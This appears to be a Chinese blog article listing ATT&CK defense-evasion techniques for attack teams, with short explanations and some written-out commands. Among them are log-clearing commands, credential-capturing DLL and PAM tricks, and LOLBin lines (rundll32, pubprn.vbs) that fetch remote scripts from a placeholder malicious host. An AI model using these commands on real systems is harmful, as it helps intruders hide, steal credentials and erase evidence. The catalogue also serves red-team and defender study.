该篇主要介绍攻击队常用的防御规避技术和工具,通过防御规避,可以最大程度的规避被杀毒软件,EDR,IDC,IPC等检测到,延长恶意代码存续时间
1. 滥用系统提供的权限提升机制
参考文章:ATT&CK系列之提权篇-CSDN博客
2. 操纵访问令牌
参考文章:ATT&CK系列之持久化篇-CSDN博客
3. BITS任务
BITS任务在BITS作业数据库中的,没有新的文件或注册表修改,并且通常得到主机防火墙的允许,所以容易更容易规避安全软件的检测
4. 主机构建镜像
在主机上构建恶意镜像,然后使用恶意镜像创建自定义容器,规避安全软件检测
5. 反调试技术
规避恶意代码被调试,这个相关技术就太多了,完全可以单独写一篇文章了,以后再写
6. 解密或解码文件
使用certutil工具从证书中抽取恶意程序,使用copy命令将恶意程序隐藏在图片后面,等等,通过不同工具,将恶意程序隐藏在看似正常的文件里
7. 部署容器
在主机上部署容器,在容器中执行恶意行为,规避检测
8. 直接访问卷数据
windows提供很多api方便程序执行文件相关操作,当然这些操作都会有严格的权限管控,并且很容易被各种软件监控到。我们可以通过设备对象直接读取硬盘内容,不过就需要我们自己解析文件系统的数据结构。我之前写过一个工具demo,可以实现输入任意存在文件路径,可以获取文件元数据和文件内容。哪天我传到yindeyue/安全工具仓库上
9. 域或租户策略修改
参考文章:ATT&CK系列之提权篇-CSDN博客
10. 执行护栏
检测失陷环境中的各种信息,如果满足恶意代码的要求再执行恶意行为,否则可以直接退出程序或执行非恶意行为
10.1 环境Key
利用满足恶意代码执行的环境中的各种参数(比如某个软件的版本,操作系统版本,内存大小等)生成唯一的key,在使用加密算法对恶意代码进行加密,当恶意代码在目标环境中执行时,自动收集目标环境中的各种参数,计算出对应的且唯一的key,解密恶意代码后执行。这样就能保证恶意代码只在某些环境下才表现出恶意行为
11. 利用漏洞
可以利用软件漏洞执行恶意行为,甚至发掘利用安全软件自身的漏洞进行恶意行为的规避
12. 文件和目录权限修改
12.1 windows文件和目录权限修改
可以使用icacls、cacls、take和attrib等工具修改文件权限
12.2 linux或mac文件和目录权限修改
可以使用chown和chmod工具
13. 隐藏项目
13.1 隐藏文件
windows可以通过图形化操作隐藏文件,linux可以通过文件名添加.前缀隐藏文件
13.2 隐藏用户
mac:/Library/Preferences/com.apple.loginwindow
windows:HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList
linux:sudo -u gdm gsettings set org.gnome.login-screen disable-user-list true
13.3 隐藏窗口
mac:apple.awt.UIElement
windows:CreateDesktop创建隐藏的桌面。powershell.exe -WindowStyle Hidden
可以设置窗口的透明度隐藏窗口。可以创建消息窗口,只处理消息没有展示窗口
13.4 NTFS文件属性
利用NFTS的ADS特性隐藏文件内容
13.5 隐藏文件系统
创建自定义文件系统,定义自己的文件保存格式
13.6 运行虚拟实例
利用虚拟化技术,在虚拟环境中运行恶意代码
13.7 VBA装载
13.8 隐藏邮件规则
根据不同的邮件客户端,创建隐藏邮件规则
13.9 在资源文件中隐藏
根据不同可执行文件格式,将恶意代码隐藏在文件的资源中,资源甚至可以做加密处理,恶意代码执行时再释放并解密
13.10 进程启动参数欺骗
进程的启动参数保存在PEB中,通过直接修改内存,用看着合法的启动参数覆盖恶意启动参数
13.11 忽略进程中断信号
恶意程序处理系统发送的中断信息(比如用户退出登录信号),使程序不被中断执行
13.12 被排除的文件或路径
安全软件为了效率,或用户的设置,会排除一些文件或路径的检测操作。通过释放恶意文件到这些文件或路径下,可以实现规避
14. 劫持执行流
参考文章:ATT&CK系列之持久化篇-CSDN博客
15. 削弱防御
15.1 禁用或修改工具
禁用或关闭安全软件,修改安全软件的配置,注册表值等。很多安全软件通过hook完成恶意行为的监控,恶意代码可以实现hook检测,并取消hook操作。
15.2 禁用windows事件日志
windows事件日志中会记录用户登录,进程创建,服务启动等事件。可以通过修改注册表值,禁用windows事件日志
15.3 禁用记录历史命令
Linux通过取消HISTFILE环境变量可以禁用记录历史命令功能。
windows通过Set-PSReadlineOption -HistorySaveStyle SaveNothing禁用powershell,记录历史命令
15.4 禁用或修改防火墙
15.5 阻塞指标收集
修改HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Security,file项,在不重启主机的情况下,可以将恶意行为转记录到指定的文件中
通过结束指标收集进程,或创建防火墙规则,阻止主机上的行为被安全服务中心收集
15.6 禁用或修改云防火墙
15.7 禁用或修改云日志
15.8 安全模式启动
在安全模式启动下,一些第三方服务不会被启动,可以避免安全软件,EDR等软件的启动
15.9 降级攻击
利用程序的兼容能力,将程序恢复到有漏洞或bug的低版本。将https通信降级到明文的http协议
15.10 伪造安全提示
在失陷系统中伪造安全提示,比如禁用windows defender后可以弹出一个一摸一样的伪造的框迷惑用户。也可以伪造健康的合法的指标信息发送给安全服务中心,谎报系统安全状态
15.11 禁用或修改linux审计功能
auditctl
16. 伪装
冒充受信的人或第三方,钓鱼,或欺骗用户执行某些行为
17. 监控指标删除
17.1 删除windows安全日志
使用命令wevtutil cl system,或者Remove-EventLog -LogName Security。或者直接删除日志文件
C:\Windows\System32\winevt\logs\
17.2 删除linux或mac安全日志
/var/log/
17.3 清除命令执行历史
17.4 删除文件
删除攻陷目标主机中使用的各种文件
17.5 删除添加的网络共享
net use \system\share /delete
17.6 时间戳
修改文件的时间戳,修改成和文件夹内其他文件相同的或相似的时间戳
17.7 删除网络连接历史和配置
HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Default
HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Servers
C:\Users\%username%\Documents\Default.rdp and C:\Users\%username%\AppData\Local\Microsoft\TerminalServer Client\Cache\
17.8 删除邮件
数据删除恶意邮件,删除垃圾邮件检测规则
17.9 清除持久化项
执行命令的清除之前创建的持久化项,如注册表,文件,账户等
18. 间接命令执行
通过操作系统提供的可以执行命令的程序,pcalua.exe,wsl等。间接执行命令,规避直接调用cmd等敏感操作
19. 伪装
19.1 无效的代码签名
按照可执行文件格式,写入一个从合法程序拷贝的证书数据。虽说证书校验通过不了,但也实现了迷惑用户的效果
19.2 从右向左覆盖
使用特殊字符U+202E翻转用户看到的文件名,隐藏真正的文件后缀,诱导用户点击恶意程序
19.3 重命名系统工具
安全服务可能监控系统内置工具的执行,比如cmd.exe等,我们可以通过重命名这些工具,或将他们拷贝到非默认的路径下执行,用来规避安全检测
19.4 伪装计划任务或服务
将恶意计划任务或服务的名称及描述伪装成和合法的计划任务或服务相似的名称
19.5 匹配合法名称和路径
释放恶意程序时,将恶意程序命名成合法的程序的名称。将恶意程序释放到常用的系统内置的合法路径下。迷惑用户
19.6 文件名后缀加空格
用户双击不同文件时,某些操作系统根据文件类型选择文件的打开方式。通过在文件名后追加空格可以变相隐藏文件真正的格式。由操作系统根据文件的真正类型,决定文件的打开方式
19.7 双文件扩展名
在系统设置了隐藏文件扩展名的情况下,如果恶意文件使用了双扩展名,那用户看到的扩展名并不是真真正的扩展名,比如用户看到的是demo.txt以为是个文本文件,但实际上是demo.txt.exe,是个可执行文件,这时双击文件后就会执行恶意代码
19.8 伪装文件类型
系统识别文件类型时可能根据文件扩展名,有的会根据文件内容的头几个字节识别文件类型。在传输或者存储恶意代码时,可以手动拼接指定文件类型的文件头前缀,用来规避安全检测
19.9 断开进程链
修改进程的父进程,让安全软件不能追踪到完整的执行链
20. 修改授权进程
20.1 域控制器授权
向域控授权进程中,注入虚假的凭证信息,用来后续操作
20.2 密码过滤dll
本地或域用户授权验证时,需要通过密码过滤dll验证密码的合法性,所以需要将明文密码传递给密码过滤dll,我们通过注册恶意的密码过滤dll,就能获取用户输入的明文密码
20.3 可插拔验证模块
跟密码过滤dll类似,修改pam_unix.so等模块,获取用户明文密码
20.4 网络设备授权
修改系统镜像,将代码内置到系统镜像中,当使用网络设备访问这些镜像创建的主机时,可以使用实现植入的凭证信息
20.5 可逆加密
当windows用户开启AllowReversiblePasswordEncryption特性后,恶意代码可以抓取相关数据,从而计算出用户的密码。默认情况不会开启该功能,但是在主机需要使用某些服务时是必须要开启该特性的,比如CHAP,在IIS中使用数字授权时
20.6 多因素授权
通过修改多因素授权配置,流程实现规避效果
20.7 混合身份
20.8 网络提供者dll
windows用户登陆时会调用网络提供者dll,我们可以注册恶意的网络提供者dll,用来捕获用户的登录操作和登录信息
20.9 条件访问策略
设置云资源的条件访问策略,比如将ip地址加入访问白名单中
21. 修改云计算基本架构
21.1 创建快照
21.2 创建云实例
21.3 删除云实例
21.4 还原云实例
21.5 修改云计算配置
22. 修改注册表
通过修改注册表内容,隐藏恶意的key,比如在恶意key的值前面添加空字符(0x00),reg.exe等一些工具就不能看到这些数据
23. 修改系统镜像
23.1 系统镜像打补丁
替换原始镜像中的合法文件。通过工具修改操作系统的内存数据
23.2 降级系统镜像
系统中某些工具的低版本可能会有bug或者漏洞,用旧版本的工具替换系统镜像中新版本的工具
24. 网络边界连接
24.1 网络地址转换
通过配置nat可以打通不同网络的直接访问
25. 混淆文件或信息
25.1 二进制填充
在二进制文件后填充随机数据,使二进制文件大小超过安全软件的校验标准,用来规避安全软件的检测。同时填充数据还会导致文件的hash值的变化,可以用来规避安全软件针对文件hash值的检出
25.2 软件打包
即文件加壳技术,文件加壳后可以改变文件的hash值,如果使用vmp这里虚拟机壳,还能增加文件的静态,动态分析难度
25.3 文件隐写
将恶意代码隐藏在图片文件,文本文件中,规避检测 Invoke-PSImage
25.4 交付后编译
以恶意源代码的形式传递数据,源代码可以加密混淆,在执行之前再编译成可执行文件
25.5 移除特征
分析文件被安全软件检出的特征原因,然后使用工具移除这些特征,比如文件包含特征字符串,想办法替换特征字符串
25.6 HTML文件
利用html特性将恶意行为保存在javascript Blob中,或者dataurl中,动态生成恶意攻击,下载恶意代码
25.7 动态api解析
使用自定义算法保存和使用被调用函数名,然后使用LoadLibrary,GetProcAddress,动态加载,调用函数
25.8 剥离有效载荷
恶意代码在开发过程中会使用有意义的变量名或函数名,链接器还会生成符号信息等数据方便软件调试,同时这些数据也为逆向提供帮助,所以可以使用工具和配置从恶意代码中剥离这些有助于分析的数据
25.9 嵌入式有效载荷
将恶意代码隐藏在合法的文件中,比如结合pe文件的格式,可以将恶意代码写入pe文件同时又不破坏文件签名的合法性
25.10 命令混淆
使用字符串替换等方式混淆待执行的命令,规避分析。Invoke-Obfuscation Invoke-DOSfucation
25.11 无文件存储
使用注册表或wmi等机制执行恶意代码,通过进程直接注入shellcode等方式,规避生成恶意文件,尽量在内存中操作恶意数据,恶意代码
25.12 快捷方式
利用lnk文件的IconEnvironmentDataBlock元数据,下载恶意代码
25.13 加密或编码文件
使用base64等算法编码数据。用密码保护自解压文件。修改文件的BOM头混淆文件
26. PList文件修改
修改Plist的文件的配置,比如实现隐藏恶意程序窗口
27. 先于操作系统启动
27.1 系统固件
修改BIOS,UEFI等固件,在操作系统启动前可以执行恶意行为
27.2 组件固件
27.3 Bootkit
修改MBR,VBR等启动代码
27.4 ROMMONkit
27.5 网络启动
修改网路启动的TFTP服务器地址,用恶意镜像启动主机
28. 进程注入
参考文章:ATT&CK系列之提权篇-CSDN博客
29. 反射代码加载
反射加载的恶意二进制不是完整的可执行程序,通过工具加载执行。比如powershell中使用Assembly.Load()加载可执行代码片段
30. 伪造域控制器
DCShadow工具
31. Rootkit
使用Rootkit技术加载恶意驱动后隐藏恶意行为
32.破坏信任机制
32.1 过Gatekeeper
利用Gatekeeper的检测原理,比如安全提示会在文件第一次使用时出现,我们可以通过修改有过安全提示的文件,规避用户看到安全提示
32.2 代码签名
使用自签名或收集到的网络上泄漏的证书信息,签名恶意程序,规避安全软件检测
32.3 SIP和信任提供者劫持
HKLM\SOFTWARE[\WOW6432Node]Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllGetSignedDataMsg{SIP_GUID}
HKLM\SOFTWARE[WOW6432Node]Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllVerifyIndirectData{SIP_GUID}
HKLM\SOFTWARE[WOW6432Node]Microsoft\Cryptography\Providers\Trust\FinalPolicy{trust provider GUID}
劫持dll,伪装签名校验结果
32.4 安装信任根证书
代码的签名校验时会校验整个证书链,所以自签名证书会被提示异常。使用https访问的网站使用的证书同样需要做证书链检测,检测未通过会在浏览器中提示。使用操作系统api,或手动导入根证书,可以规避安全提示
32.5 过Mark-of-the-Web
windows在使用浏览器下载文件后,会对文件添加一个名为Zone.Identifier的ads,包含整个ads的文件会被windows Defender 扫描。我们可以将恶意代码打包成压缩包,使用浏览器下载后的压缩包会被扫描,但是因为压缩包里的文件没有Zone.Identifier的ads,就可以规避windows Defender的智能扫描
32.6 修改签名校验规则
比如开始允许测试签名模式,或者禁用签名强制校验
33. 系统工具代理执行
33.1 chm文件
chm文件内可以使用VBA, JScript, Java, and ActiveX语言编写恶意代码,且文件打开时是使用windows内置的hh.exe
33.2 控制面板
打开windows控制面板时会加载HKCU\Software\Microsoft\Windows\CurrentVersion\Control Panel\Cpls注册的dll。双击cpl结尾的文件由control.exe进程执行
33.3 CMSTP
CMSTP.exe更具提供的inf文件安装用于远程访问连接的服务配置文件,提供恶意inf文件让CMSTP.exe帮我们执行恶意行为
33.4 InstallUtil
使用InstallUtil执行恶意.Net
33.5 Mshta
利用Mshta.exe执行.hta文件
33.6 Msiexec
利用Msiexec执行msi文件,甚至能获取system权限,如果开启了AlwaysInstallElevated
33.7 Odbcconf
使用Odbcconf执行dll。odbcconf.exe /S /A {REGSVR "C:\abc.dll"}
33.8 Regsvcs/Regasm
使用Regsvcs/Regasm注册.NET com组件
33.9 Regsvr32
使用Regsvr32注册com组件
33.10 Rundll32
使用Rundll32执行dll,并且在指定functionName时如果没有执行W|A的后缀,Rundll32会先执行W后缀的方法,然后再执行A后缀的方法,所以这也可以做方法劫持。Rundll32还可以执行javascript代码,比如rundll32.exe javascript:"..\mshtml,RunHTMLApplication ";document.write();GetObject("script:https[:]//www[.]example[.]com/malicious.sct")"
33.11 Verclsid
verclsid.exe /S /C {CLSID}
33.12 Mavinject
注入dll C:\Windows\system32\mavinject.exe PID /INJECTRUNNING PATH_DLL
33.13 MMC
使用MMC执行msc文件
33.14 Electron应用
利用系统内置的或常用的Electron打包的应用执行恶意代码
chrome.exe --disable-gpu-sandbox --gpu-launcher="C:\Windows\system32\cmd.exe /c calc.exe
34. 系统脚本代理执行
34.1 Pubprn
pubprn.vbs 127.0.0.1 script:https://mydomain.com/folder/file.sct
34.2 SyncAppvPublishingServer
35. 模板注入
Office办公系列软件在加载文档时会执行加载模板文件,通过将恶意宏注入到模板文件中,规避检测
36. 激活信号
通过发送特殊网络数据包,可以唤醒关闭的端口。通过网络唤醒主机
参考文章:ATT&CK系列之持久化篇-CSDN博客
37. 可信任的开发工具代理执行
37.1 MSBuild
更加xml项目文件执行构建,可以在xml中 插入C#或Visual Basic代码,执行恶意行为
38. 未使用,未支持的云区域
选择将云主机创建在没有安全服务监控的区域
39. 使用替代身份信息
39.1 应用访问令牌
使用获取到的应用访问令牌就能直接授权访问目标应用,不需要原始账号密码
39.2 PTH
使用授权后的密码hash值进行横向移动操作
39.3 PTT
使用Kerberos票据进行横向移动操作
39.4 网站的cookie或session
网站通过cookie和session记录用户登录状态,所以可以偷取到的cookie或session直接登录目标网站
40. 合法的账户
参看文章:ATT&CK系列之持久化篇-CSDN博客
41. 虚拟机或沙箱规避
41.1 系统检测
检测系统cpu,内存,系统主机名,服务等信息,判断程序当前是否处在虚拟机或沙箱中
41.2 基于用户活动检测
检测桌面文件数,鼠标移动和点击的频率,浏览器历史,书签等数据
41.3 基于时间的检测
使用计划任务,ping命令,sleep等延时操作。或者比较某段代码的执行时间间隔
42. 削弱加密
42.1 减少key的空间
通过失陷的网络设备,减少加密时使用的key的长度,降低破解的难度
42.2 禁用硬件加密
通过失陷的网络设备,禁用硬件加密功能
43. XSL脚本解析
msxsl.exe customers[.]xml script[.]xsl
wmic process list /FORMAT:evil[.]xsl